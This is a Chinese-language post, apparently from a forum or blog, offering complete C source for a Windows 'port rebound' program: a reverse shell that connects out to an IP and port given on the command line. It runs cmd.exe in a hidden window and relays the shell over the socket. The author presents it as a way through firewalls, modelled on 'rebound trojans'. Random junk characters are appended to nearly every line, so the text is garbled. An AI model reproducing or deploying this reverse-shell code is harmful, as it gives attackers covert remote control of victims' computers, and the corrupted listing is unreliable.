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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {'R)4hL  
nl n OwyMJ  
/* ============================== mhzYz;}  
Rebound port in Windows NT "&QH6B1U6H  
By wind,2006/7 c2<,|D|  
===============================*/ k^An97J  
#include saW!9HQj  
#include $}tjS3klr  
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#pragma comment(lib,"wsock32.lib") B8V,)rn  
C_->u4 -  
void OutputShell(); S%l:kKD  
SOCKET sClient; R1%y]]*-P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .y):Rh^  
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void main(int argc,char **argv) n29(!10Px  
{ ddDS=OfH  
WSADATA stWsaData; lS9n@  
int nRet; NK/4OAt%  
SOCKADDR_IN stSaiClient,stSaiServer; wss?|XCI  
SUE ~rb  
if(argc != 3) Q_O*oT(0  
{ 4| Ui?.4=  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2]ti!<  
return; ::"E?CQLV  
} i@zY9,b  
MYdx .NZT  
WSAStartup(MAKEWORD(2,2),&stWsaData); U<bYFuS"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :"'nK6>  
DWf$X1M  
stSaiClient.sin_family = AF_INET; 0=![fjm  
stSaiClient.sin_port = htons(0); 8MZ$T3IM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (lWq[0^N  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =~|:t&v=c  
{ {THqz$KN  
printf("Bind Socket Failed!\n"); |y1;&<  
return; GAl+Zg##  
} |4C^$  
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stSaiServer.sin_family = AF_INET; 6 hiC?2b{x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h$fe -G#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u%2KwRQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $YM_G=k  
{ TlRk*/PlJ  
printf("Connect Error!"); NQLiWz-q  
return; 'Q|c@t  
} -:`V<   
OutputShell(); |~e?,[-2`r  
} ]P1YHw9  
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void OutputShell() 'uC59X4l  
{ !O)qYmK]|  
char szBuff[1024]; ~F[L4y!sL  
SECURITY_ATTRIBUTES stSecurityAttributes; (:sZ b?*  
OSVERSIONINFO stOsversionInfo; p538r[f<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j_Nm87i]  
STARTUPINFO stStartupInfo; n1J]p#nCa.  
char *szShell; `X8@/wf#  
PROCESS_INFORMATION stProcessInformation; fRHKQ(a#  
unsigned long lBytesRead; hh"-w3+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D}{b;Un  
xsP4\C>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N|dD!  
stSecurityAttributes.lpSecurityDescriptor = 0; _>_j\b  
stSecurityAttributes.bInheritHandle = TRUE; @ 4UxRp6+  
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[Z<Z;=t  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |NMO__l@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [1( FgyE  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o`?zF+M0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OJ3UE(,I=  
stStartupInfo.wShowWindow = SW_HIDE; sb.J bE8  
stStartupInfo.hStdInput = hReadPipe; EHI'xt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vsMmCd)7U  
 (^: p  
GetVersionEx(&stOsversionInfo); 2@Lb foA  
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switch(stOsversionInfo.dwPlatformId) S`= WF^  
{ -Kxc$}  
case 1: k<Sl1v K  
szShell = "command.com"; (Hp'B))2  
break; .+.j*>q>u  
default: {j SmoA  
szShell = "cmd.exe";  ^jyD#  
break; Ix8$njp[  
} O4|2|sA  
~`cwG` 'N  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S!Jh2tsg`-  
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send(sClient,szMsg,77,0); ,=PKd&  
while(1) 6"QEJ  
{ j1U 5~%^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u, kU$  
if(lBytesRead) erFv(eaDK  
{ `f`TS#V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P:{<*`q  
send(sClient,szBuff,lBytesRead,0); Qvqqvk_tv  
} ` \ZqgX4  
else iHBB,x  
{ 74J@F2g}?  
lBytesRead=recv(sClient,szBuff,1024,0); "/+zMLY  
if(lBytesRead<=0) break; Qn+:/ zA;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b2) \ MNH  
} K1q+~4>\|  
} T *>`,}J  
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return; ,+1m`9}  
}
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